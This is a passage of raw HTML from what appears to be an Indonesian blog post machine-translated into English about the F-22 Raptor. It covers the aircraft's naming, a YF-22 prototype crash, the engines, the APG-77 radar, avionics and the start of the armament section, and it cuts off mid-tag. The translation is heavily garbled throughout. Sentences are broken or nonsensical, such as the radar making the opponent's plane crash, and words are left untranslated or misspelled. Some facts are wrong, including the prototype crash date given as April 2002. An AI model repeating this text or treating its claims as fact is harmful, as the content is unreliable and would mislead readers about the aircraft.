untuk terjemahan alternatif">Both aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">are</span> <span class="hps" title="Klik untuk terjemahan alternatif">often confused</span> <span class="hps" title="Klik untuk terjemahan alternatif">in the photographs</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">usually</span> <span class="hps" title="Klik untuk terjemahan alternatif">at</span> <span class="hps" title="Klik untuk terjemahan alternatif">the point of view</span> <span class="hps" title="Klik untuk terjemahan alternatif">that</span> <span class="hps" title="Klik untuk terjemahan alternatif">it is difficult</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">see</span> <span class="hps" title="Klik untuk terjemahan alternatif">certain features</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">YF</span><span title="Klik
untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk
terjemahan alternatif">Lighting</span> <span class="hps" title="Klik
untuk terjemahan alternatif">II</span> <span class="hps" title="Klik
untuk terjemahan alternatif">are given</span> <span class="hps" title="Klik untuk terjemahan alternatif">nicknames</span> <span class="hps" title="Klik untuk terjemahan alternatif">by</span> <span class="hps" title="Klik untuk terjemahan alternatif">Lockheed</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">this name</span> <span class="hps" title="Klik untuk terjemahan alternatif">lasted until</span> <span class="hps" title="Klik untuk terjemahan alternatif">the mid</span><span title="Klik untuk terjemahan alternatif">-1990s.</span> <span class="hps" title="Klik untuk terjemahan alternatif">For some</span> <span class="hps" title="Klik untuk terjemahan alternatif">time</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">this aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">was</span> <span class="hps" title="Klik untuk terjemahan alternatif">also</span> <span class="hps" title="Klik untuk terjemahan alternatif">given the nickname</span> <span class="hps" title="Klik untuk terjemahan alternatif">SuperStar</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">Rapier</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">But the</span> <span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-35</span> <span class="hps" title="Klik
untuk terjemahan alternatif">then officially</span> <span class="hps" title="Klik untuk terjemahan alternatif">got the name</span> <span class="hps" title="Klik untuk terjemahan alternatif">Lighting</span> <span class="hps" title="Klik untuk terjemahan alternatif">II</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">July 7, 2006</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">YF</span><span title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik
untuk terjemahan alternatif">ATF</span> <span class="hps" title="Klik
untuk terjemahan alternatif">awarded</span> <span class="hps" title="Klik untuk terjemahan alternatif">after winning a</span> <span class="hps" title="Klik untuk terjemahan alternatif">competition</span> <span class="hps" title="Klik untuk terjemahan alternatif">to fly</span> <span class="hps" title="Klik untuk terjemahan alternatif">to beat</span> <span class="hps" title="Klik untuk terjemahan alternatif">Northrop</span> <span class="hps" title="Klik untuk terjemahan alternatif">YF</span><span title="Klik untuk terjemahan alternatif">-23</span> <span class="hps" title="Klik
untuk terjemahan alternatif">made by</span> <span class="hps" title="Klik untuk terjemahan alternatif">McDonnell</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">Douglas</span><span title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk
terjemahan alternatif">In</span> <span class="hps" title="Klik untuk
terjemahan alternatif">April 2002</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">at the time of</span> <span class="hps" title="Klik untuk
terjemahan alternatif">testing</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">the first</span> <span class="hps" title="Klik untuk
terjemahan alternatif">YF</span><span title="Klik untuk
terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan
alternatif">prototype</span> <span class="hps" title="Klik untuk
terjemahan alternatif">crashed</span> <span class="hps" title="Klik
untuk terjemahan alternatif">while landing at</span> <span class="hps" title="Klik untuk terjemahan alternatif">Edwards</span> <span class="hps" title="Klik untuk terjemahan alternatif">Air Force Base</span> <span class="hps" title="Klik untuk terjemahan alternatif">in California</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">The</span> <span class="hps" title="Klik untuk terjemahan alternatif">test</span> <span class="hps" title="Klik untuk terjemahan alternatif">pilot</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Tom</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Morgenfeld</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">was not injured</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The cause of</span> <span class="hps" title="Klik untuk terjemahan alternatif">this</span> <span class="hps" title="Klik untuk terjemahan alternatif">fall</span> <span class="hps" title="Klik untuk terjemahan alternatif">is a</span> <span class="hps" title="Klik untuk terjemahan alternatif">fault</span> <span class="hps" title="Klik untuk terjemahan alternatif">in</span> <span class="hps" title="Klik untuk terjemahan alternatif">the software</span><span title="Klik untuk terjemahan alternatif">.</span></span><br />
<br />
<span class="" id="result_box" lang="en"><span style="font-size: large;"><b><span class="hps" title="Klik untuk
terjemahan alternatif">movement</span></b></span><br />
<span class="hps" title="Klik
untuk terjemahan alternatif">Dual</span> <span class="hps" title="Klik
untuk terjemahan alternatif">turbofan</span> <span class="hps" title="Klik untuk terjemahan alternatif">engines</span> <span class="hps" title="Klik untuk terjemahan alternatif">Pratt</span> <span class="hps" title="Klik untuk terjemahan alternatif">&</span> <span class="hps" title="Klik untuk terjemahan alternatif">Whitney</span> <span class="hps" title="Klik untuk terjemahan alternatif">F119</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">PW</span><span title="Klik
untuk terjemahan alternatif">-100</span> <span class="hps" title="Klik untuk
terjemahan alternatif">F</span><span title="Klik untuk
terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan
alternatif">has the</span> <span class="hps" title="Klik untuk
terjemahan alternatif">ability to</span> <span class="hps" title="Klik
untuk terjemahan alternatif">push</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the power</span> <span class="hps" title="Klik untuk terjemahan alternatif">steering</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Steering</span> <span class="hps" title="Klik untuk terjemahan alternatif">can</span> <span class="hps" title="Klik untuk terjemahan alternatif">adjust</span> <span class="hps" title="Klik untuk terjemahan alternatif">the rotation</span> <span class="hps" title="Klik untuk terjemahan alternatif">axis</span> <span class="hps" title="Klik untuk terjemahan alternatif">pitch</span> <span class="hps" title="Klik untuk terjemahan alternatif">to about</span> <span class="hps" title="Klik untuk terjemahan alternatif">20 °</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Maximum</span> <span class="hps" title="Klik untuk terjemahan alternatif">engine</span> <span class="hps" title="Klik untuk terjemahan alternatif">thrust</span> <span class="hps" title="Klik untuk terjemahan alternatif">is</span> <span class="hps" title="Klik untuk terjemahan alternatif">still a secret</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">but</span> <span class="hps" title="Klik
untuk terjemahan alternatif">estimated</span> <span class="hps" title="Klik untuk terjemahan alternatif">about 35,000</span> <span class="hps" title="Klik untuk terjemahan alternatif">lbf</span> <span class="hps" title="Klik untuk terjemahan alternatif">(156</span> <span class="hps" title="Klik untuk terjemahan alternatif">kN</span><span title="Klik untuk terjemahan alternatif">)</span> <span class="hps" title="Klik
untuk terjemahan alternatif">per</span> <span class="hps" title="Klik
untuk terjemahan alternatif">turbofan</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The maximum</span> <span class="hps" title="Klik untuk terjemahan alternatif">speed of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the aircraft is</span> <span class="hps" title="Klik untuk terjemahan alternatif">estimated at about</span> <span class="hps" title="Klik untuk terjemahan alternatif">Mach</span> <span class="hps" title="Klik untuk terjemahan alternatif">1.2</span> <span class="hps" title="Klik untuk terjemahan alternatif">when</span> <span class="hps" title="Klik untuk terjemahan alternatif">the</span> <span class="hps" title="Klik untuk terjemahan alternatif">supercruise</span> <span class="hps" title="Klik untuk terjemahan alternatif">without</span> <span class="hps" title="Klik untuk terjemahan alternatif">external</span> <span class="hps" title="Klik untuk terjemahan alternatif">weapons</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">With</span> <span class="hps" title="Klik
untuk terjemahan alternatif">afterburners</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">according to</span> <span class="hps" title="Klik untuk terjemahan alternatif">Lockheed</span> <span class="hps" title="Klik untuk terjemahan alternatif">Martin</span><span title="Klik untuk terjemahan alternatif">, its speed</span> <span class="hps" title="Klik untuk terjemahan alternatif">"more</span> <span class="hps" title="Klik untuk terjemahan alternatif">than</span> <span class="hps" title="Klik untuk terjemahan alternatif">Mach</span> <span class="hps" title="Klik untuk terjemahan alternatif">2.0</span><span title="Klik untuk terjemahan alternatif">"</span> <span class="hps atn" title="Klik
untuk terjemahan alternatif">(</span><span title="Klik
untuk terjemahan alternatif">2120</span> <span class="hps" title="Klik untuk
terjemahan alternatif">km</span> <span class="hps" title="Klik untuk
terjemahan alternatif">/ h</span><span title="Klik untuk
terjemahan alternatif">)</span><span title="Klik untuk terjemahan
alternatif">.</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">also</span> <span class="hps" title="Klik untuk terjemahan alternatif">can maneuver</span> <span class="hps" title="Klik untuk terjemahan alternatif">very well</span> <span class="hps" title="Klik untuk terjemahan alternatif">at</span> <span class="hps" title="Klik untuk terjemahan alternatif">supersonic</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">subsonic</span> <span class="hps" title="Klik untuk terjemahan alternatif">speeds</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The use of</span> <span class="hps" title="Klik untuk terjemahan alternatif">steering</span> <span class="hps" title="Klik untuk terjemahan alternatif">thrust</span> <span class="hps" title="Klik untuk terjemahan alternatif">can</span> <span class="hps" title="Klik untuk terjemahan alternatif">make</span> <span class="hps" title="Klik untuk terjemahan alternatif">a</span> <span class="hps" title="Klik untuk terjemahan alternatif">sharp</span> <span class="hps" title="Klik untuk terjemahan alternatif">turn</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">perform</span> <span class="hps" title="Klik untuk terjemahan alternatif">extreme</span> <span class="hps" title="Klik untuk terjemahan alternatif">maneuvers</span> <span class="hps" title="Klik untuk terjemahan alternatif">such as the</span> <span class="hps" title="Klik untuk terjemahan alternatif">Herbst</span> <span class="hps" title="Klik untuk terjemahan alternatif">maneuver</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Pugachev</span> <span class="hps" title="Klik untuk terjemahan alternatif">Cobra</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">Kulbit</span><span title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">F</span><span class="" title="Klik untuk
terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan
alternatif">can also</span> <span class="hps" title="Klik untuk
terjemahan alternatif">maintain</span> <span class="hps" title="Klik
untuk terjemahan alternatif">a constant</span> <span class="hps" title="Klik untuk terjemahan alternatif">attack</span> <span class="hps" title="Klik untuk terjemahan alternatif">angle</span> <span class="hps" title="Klik untuk terjemahan alternatif">greater</span> <span class="hps" title="Klik untuk terjemahan alternatif">than 60</span> <span class="hps" title="Klik untuk terjemahan alternatif">°.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Altitude</span> <span class="hps" title="Klik untuk terjemahan alternatif">also affects</span> <span class="hps" title="Klik untuk terjemahan alternatif">attacks</span> <span class="hps" title="Klik untuk terjemahan alternatif">fly</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">In</span> <span class="hps" title="Klik
untuk terjemahan alternatif">military</span> <span class="hps" title="Klik untuk terjemahan alternatif">exercises</span> <span class="hps" title="Klik untuk terjemahan alternatif">in Alaska in</span> <span class="hps" title="Klik untuk terjemahan alternatif">June 2006</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">F</span><span title="Klik untuk
terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan
alternatif">pilots</span> <span class="hps" title="Klik untuk terjemahan
alternatif">said</span> <span class="hps" title="Klik untuk terjemahan
alternatif">that the ability</span> <span class="hps" title="Klik untuk
terjemahan alternatif">to fly</span> <span class="hps" title="Klik untuk
terjemahan alternatif">at</span> <span class="hps" title="Klik untuk
terjemahan alternatif">higher altitudes</span> <span class="hps" title="Klik untuk terjemahan alternatif">than</span> <span class="hps" title="Klik untuk terjemahan alternatif">the other</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">is one of the</span> <span class="hps" title="Klik untuk terjemahan alternatif">determinants of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span class="" title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">victory</span> <span class="hps" title="Klik untuk terjemahan alternatif">in</span> <span class="hps" title="Klik untuk terjemahan alternatif">the exercise</span><span title="Klik untuk terjemahan alternatif">.</span></span><span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif"> </span></span><br />
<span class="" id="result_box" lang="en"><span title="Klik untuk terjemahan alternatif"><br />
</span></span><br />
<span class="" id="result_box" lang="en"><span class="hps" title="Klik untuk
terjemahan alternatif">APG</span><span title="Klik untuk
terjemahan alternatif">-77</span> <span class="hps" title="Klik untuk terjemahan
alternatif">radar</span><span class="atn" title="Klik untuk terjemahan
alternatif">-</span><span title="Klik untuk terjemahan
alternatif">1A</span> <span class="hps" title="Klik untuk terjemahan alternatif">used</span> <span class="hps" title="Klik untuk terjemahan alternatif">by</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span title="Klik untuk terjemahan alternatif">-22</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik
untuk terjemahan alternatif">F</span><span title="Klik
untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk
terjemahan alternatif">uses</span> <span class="hps" title="Klik untuk
terjemahan alternatif">AN/APG-77</span> <span class="hps" title="Klik
untuk terjemahan alternatif">AESA</span> <span class="hps" title="Klik
untuk terjemahan alternatif">radar</span> <span class="hps" title="Klik
untuk terjemahan alternatif">designed</span> <span class="hps" title="Klik untuk terjemahan alternatif">for the</span> <span class="hps" title="Klik untuk terjemahan alternatif">operation of</span> <span class="hps" title="Klik untuk terjemahan alternatif">air superiority</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">ground attack</span><span title="Klik untuk terjemahan
alternatif">, which is</span> <span class="hps" title="Klik untuk terjemahan
alternatif">difficult to detect</span> <span class="hps" title="Klik
untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">opponent</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">using</span> <span class="hps" title="Klik
untuk terjemahan alternatif">an active</span> <span class="hps" title="Klik untuk terjemahan alternatif">aperture</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">can track</span> <span class="hps" title="Klik untuk terjemahan alternatif">several</span> <span class="hps" title="Klik untuk terjemahan alternatif">targets at once</span> <span class="hps" title="Klik untuk terjemahan alternatif">in any weather</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">AN/APG-77</span> <span class="hps" title="Klik untuk terjemahan alternatif">change</span> <span class="hps" title="Klik untuk terjemahan alternatif">frequency</span> <span class="hps" title="Klik untuk terjemahan alternatif">1,000 times</span> <span class="hps" title="Klik untuk terjemahan alternatif">every second</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">making it</span> <span class="hps" title="Klik untuk terjemahan alternatif">also very</span> <span class="hps" title="Klik untuk terjemahan alternatif">difficult to trace</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The radar</span> <span class="hps" title="Klik untuk terjemahan alternatif">can also</span> <span class="hps" title="Klik untuk terjemahan alternatif">focus the</span> <span class="hps" title="Klik untuk terjemahan alternatif">emission</span> <span class="hps" title="Klik untuk terjemahan alternatif">of</span> <span class="hps" title="Klik untuk terjemahan alternatif">the sensor</span> <span class="hps" title="Klik untuk terjemahan alternatif">opponent</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the opponent</span> <span class="hps" title="Klik untuk terjemahan alternatif">makes</span> <span class="hps" title="Klik untuk terjemahan alternatif">the plane</span> <span class="hps" title="Klik untuk terjemahan alternatif">to crash</span><span title="Klik untuk terjemahan alternatif">.</span><br />
<span class="hps" title="Klik
untuk terjemahan alternatif">The information on</span> <span class="hps" title="Klik untuk terjemahan alternatif">this</span> <span class="hps" title="Klik untuk terjemahan alternatif">radar</span> <span class="hps" title="Klik untuk terjemahan alternatif">is processed</span> <span class="hps" title="Klik untuk terjemahan alternatif">by two</span> <span class="hps" title="Klik untuk terjemahan alternatif">Raytheon</span> <span class="hps" title="Klik untuk terjemahan alternatif">processors</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">each of which</span> <span class="hps" title="Klik untuk terjemahan alternatif">can</span> <span class="hps" title="Klik untuk terjemahan alternatif">perform</span> <span class="hps" title="Klik untuk terjemahan alternatif">10.5 billion</span> <span class="hps" title="Klik untuk terjemahan alternatif">operations per second</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">has</span> <span class="hps" title="Klik untuk terjemahan alternatif">300</span> <span class="hps" title="Klik untuk terjemahan alternatif">megabytes of</span> <span class="hps" title="Klik untuk terjemahan alternatif">memory</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The software</span> <span class="hps" title="Klik untuk terjemahan alternatif">on the F</span><span title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik
untuk terjemahan alternatif">consists</span> <span class="hps" title="Klik untuk terjemahan alternatif">of</span> <span class="hps" title="Klik untuk terjemahan alternatif">1.7</span> <span class="hps" title="Klik untuk terjemahan alternatif">million lines</span> <span class="hps" title="Klik untuk terjemahan alternatif">of code</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">most of which</span> <span class="hps" title="Klik untuk terjemahan alternatif">are</span> <span class="hps" title="Klik untuk terjemahan alternatif">captured</span> <span class="hps" title="Klik untuk terjemahan alternatif">radar</span> <span class="hps" title="Klik untuk terjemahan alternatif">data</span> <span class="hps" title="Klik untuk terjemahan alternatif">processing</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
untuk terjemahan alternatif">The radar</span> <span class="hps" title="Klik untuk terjemahan alternatif">has a</span> <span class="hps" title="Klik untuk terjemahan alternatif">range</span> <span class="hps" title="Klik untuk terjemahan alternatif">of about</span> <span class="hps" title="Klik untuk terjemahan alternatif">125-150</span> <span class="hps" title="Klik untuk terjemahan alternatif">miles,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">is planned</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">be updated with the</span> <span class="hps" title="Klik untuk terjemahan alternatif">maximum distance</span> <span class="hps" title="Klik untuk terjemahan alternatif">of 250 miles</span><span title="Klik untuk terjemahan
alternatif">.</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-22 has</span> <span class="hps" title="Klik untuk terjemahan alternatif">several</span> <span class="hps" title="Klik untuk terjemahan alternatif">unique functions for an</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan
alternatif">its size</span><span title="Klik untuk
terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Among others</span><span title="Klik untuk
terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">these aircraft</span> <span class="hps" title="Klik untuk
terjemahan alternatif">have the</span> <span class="hps" title="Klik
untuk terjemahan alternatif">capability</span> <span class="hps" title="Klik untuk terjemahan alternatif">of detection</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">identification of</span> <span class="hps" title="Klik untuk terjemahan alternatif">an enemy</span> <span class="hps" title="Klik untuk terjemahan alternatif">that is almost</span> <span class="hps" title="Klik untuk terjemahan alternatif">equivalent to the</span> <span class="hps" title="Klik untuk terjemahan alternatif">RC</span><span title="Klik untuk terjemahan alternatif">-135</span> <span class="hps" title="Klik untuk terjemahan alternatif">Rivet</span> <span class="hps" title="Klik untuk terjemahan alternatif">Joint</span> <span class="hps" title="Klik untuk terjemahan alternatif">Capabilities</span> <span class="hps" title="Klik untuk terjemahan alternatif">"mini</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">AWACS</span><span title="Klik
untuk terjemahan alternatif">"</span> <span class="hps" title="Klik untuk terjemahan
alternatif">This</span> <span class="hps" title="Klik untuk terjemahan
alternatif">makes</span> <span class="hps" title="Klik untuk terjemahan
alternatif">the F</span><span title="Klik untuk terjemahan
alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">is very</span> <span class="hps" title="Klik untuk terjemahan
alternatif">useful</span> <span class="hps" title="Klik untuk terjemahan
alternatif">in</span> <span class="hps" title="Klik untuk terjemahan
alternatif">the forefront</span><span title="Klik untuk
terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">This</span> <span class="hps" title="Klik untuk terjemahan
alternatif">could indicate</span> <span class="hps" title="Klik untuk
terjemahan alternatif">a target</span> <span class="hps" title="Klik
untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-15</span> <span class="hps" title="Klik
untuk terjemahan alternatif">and</span> <span class="hps" title="Klik
untuk terjemahan alternatif">F</span><span title="Klik untuk
terjemahan alternatif">-16</span><span title="Klik untuk terjemahan
alternatif">,</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">can even</span> <span class="hps" title="Klik untuk terjemahan
alternatif">find out</span> <span class="hps" title="Klik untuk
terjemahan alternatif">what</span> <span class="hps" title="Klik untuk
terjemahan alternatif">aircraft</span> <span class="hps" title="Klik
untuk terjemahan alternatif">airplane</span> <span class="hps" title="Klik untuk terjemahan alternatif">friend</span> <span class="hps" title="Klik untuk terjemahan alternatif">was</span> <span class="hps" title="Klik untuk terjemahan alternatif">targeted,</span> <span class="hps" title="Klik untuk terjemahan alternatif">so</span> <span class="hps" title="Klik untuk terjemahan alternatif">a friend</span> <span class="hps" title="Klik untuk terjemahan alternatif">can</span> <span class="hps" title="Klik untuk terjemahan alternatif">make the</span> <span class="hps" title="Klik untuk terjemahan alternatif">plane</span> <span class="hps" title="Klik untuk terjemahan alternatif">do not</span> <span class="hps" title="Klik untuk terjemahan alternatif">pursue</span> <span class="hps" title="Klik untuk terjemahan alternatif">the same</span> <span class="hps" title="Klik untuk terjemahan alternatif">target</span><br />
<span class="hps" title="Klik untuk terjemahan alternatif">Used</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">data bus</span><span title="Klik untuk terjemahan alternatif">, named</span> <span class="hps" title="Klik untuk terjemahan alternatif">MIL</span><span class="" title="Klik untuk terjemahan alternatif">-STD</span><span class="atn" title="Klik untuk terjemahan alternatif">-</span><span title="Klik untuk terjemahan alternatif">1394b</span><span title="Klik
untuk terjemahan alternatif">,</span> <span class="hps" title="Klik untuk terjemahan
alternatif">which</span> <span class="hps" title="Klik untuk terjemahan
alternatif">is designed</span> <span class="hps" title="Klik untuk
terjemahan alternatif">specifically for</span> <span class="hps" title="Klik untuk terjemahan alternatif">the F</span><span title="Klik untuk terjemahan alternatif">-22</span><span title="Klik
untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan
alternatif">Bus</span> <span class="hps" title="Klik untuk terjemahan
alternatif">system</span> <span class="hps" title="Klik untuk terjemahan
alternatif">was developed</span> <span class="hps" title="Klik untuk
terjemahan alternatif">from</span> <span class="hps" title="Klik untuk
terjemahan alternatif">a commercial</span> <span class="hps" title="Klik
untuk terjemahan alternatif">system</span> <span class="hps" title="Klik untuk terjemahan alternatif">FireWire</span> <span class="hps" title="Klik untuk terjemahan alternatif">(IEEE-1394)</span><span title="Klik untuk terjemahan alternatif">,</span> <span class="hps" title="Klik
untuk terjemahan alternatif">which</span> <span class="hps" title="Klik
untuk terjemahan alternatif">was created</span> <span class="hps" title="Klik untuk terjemahan alternatif">by Apple</span> <span class="hps" title="Klik untuk terjemahan alternatif">and is often found</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">Apple</span> <span class="hps" title="Klik untuk terjemahan alternatif">Macintosh</span> <span class="hps" title="Klik untuk terjemahan alternatif">computers</span><span class="" title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Data</span> <span class="hps" title="Klik untuk terjemahan alternatif">bus</span> <span class="hps" title="Klik untuk terjemahan alternatif">system</span> <span class="hps" title="Klik untuk terjemahan alternatif">will also be used</span> <span class="hps" title="Klik untuk terjemahan alternatif">on</span> <span class="hps" title="Klik untuk terjemahan alternatif">fighter</span> <span class="hps" title="Klik untuk terjemahan alternatif">aircraft</span> <span class="hps" title="Klik untuk terjemahan alternatif">F</span><span title="Klik untuk terjemahan alternatif">-35 Lightning</span> <span class="hps" title="Klik untuk terjemahan alternatif">II</span></span><br />
<br />
<span class="" id="result_box" lang="en"><b><span style="font-size: large;"><span class="hps" title="Klik untuk terjemahan alternatif">armament</span></span></b><br />
<span class="hps" title="Klik untuk terjemahan alternatif">F</span><span class="" title="Klik untuk terjemahan alternatif">-22</span> <span class="hps" title="Klik untuk terjemahan alternatif">is designed</span> <span class="hps" title="Klik untuk terjemahan alternatif">to</span> <span class="hps" title="Klik untuk terjemahan alternatif">carry</span> <span class="hps atn" title="Klik untuk terjemahan alternatif">air-to-</span><span title="Klik untuk terjemahan alternatif">air</span> <span class="hps" title="Klik
untuk terjemahan alternatif">missiles</span> <span class="hps" title="Klik untuk terjemahan alternatif">are</span> <span class="hps" title="Klik untuk terjemahan alternatif">stored</span> <span class="hps" title="Klik untuk terjemahan alternatif">internally</span> <span class="hps" title="Klik untuk terjemahan alternatif">in the</span> <span class="hps" title="Klik untuk terjemahan alternatif">fuselage</span> <span class="hps" title="Klik untuk terjemahan alternatif">so as not to</span> <span class="hps" title="Klik untuk terjemahan alternatif">interfere with the ability</span> <span class="hps" title="Klik untuk terjemahan alternatif">silumannya</span><span title="Klik untuk terjemahan
alternatif">.</span> <span class="hps" title="Klik untuk terjemahan alternatif">Missile launch</span> <span class="hps" title="Klik untuk terjemahan
alternatif">was preceded</span> <span class="hps" title="Klik untuk
terjemahan alternatif">by</span> <span class="hps" title="Klik untuk
terjemahan alternatif">opening</span> <span class="hps" title="Klik
untuk terjemahan alternatif">the valve</span> <span class="hps" title="Klik untuk terjemahan alternatif">arms</span> <span class="hps" title="Klik untuk terjemahan alternatif">and</span> <span class="hps" title="Klik untuk terjemahan alternatif">missiles</span> <span class="hps" title="Klik untuk terjemahan alternatif">is driven</span> <span class="hps" title="Klik untuk terjemahan alternatif">downward</span> <span class="hps" title="Klik untuk terjemahan alternatif">by a</span> <span class="hps" title="Klik untuk terjemahan alternatif">hydraulic system</span><span title="Klik untuk terjemahan alternatif">.</span> <span class="hps" title="Klik
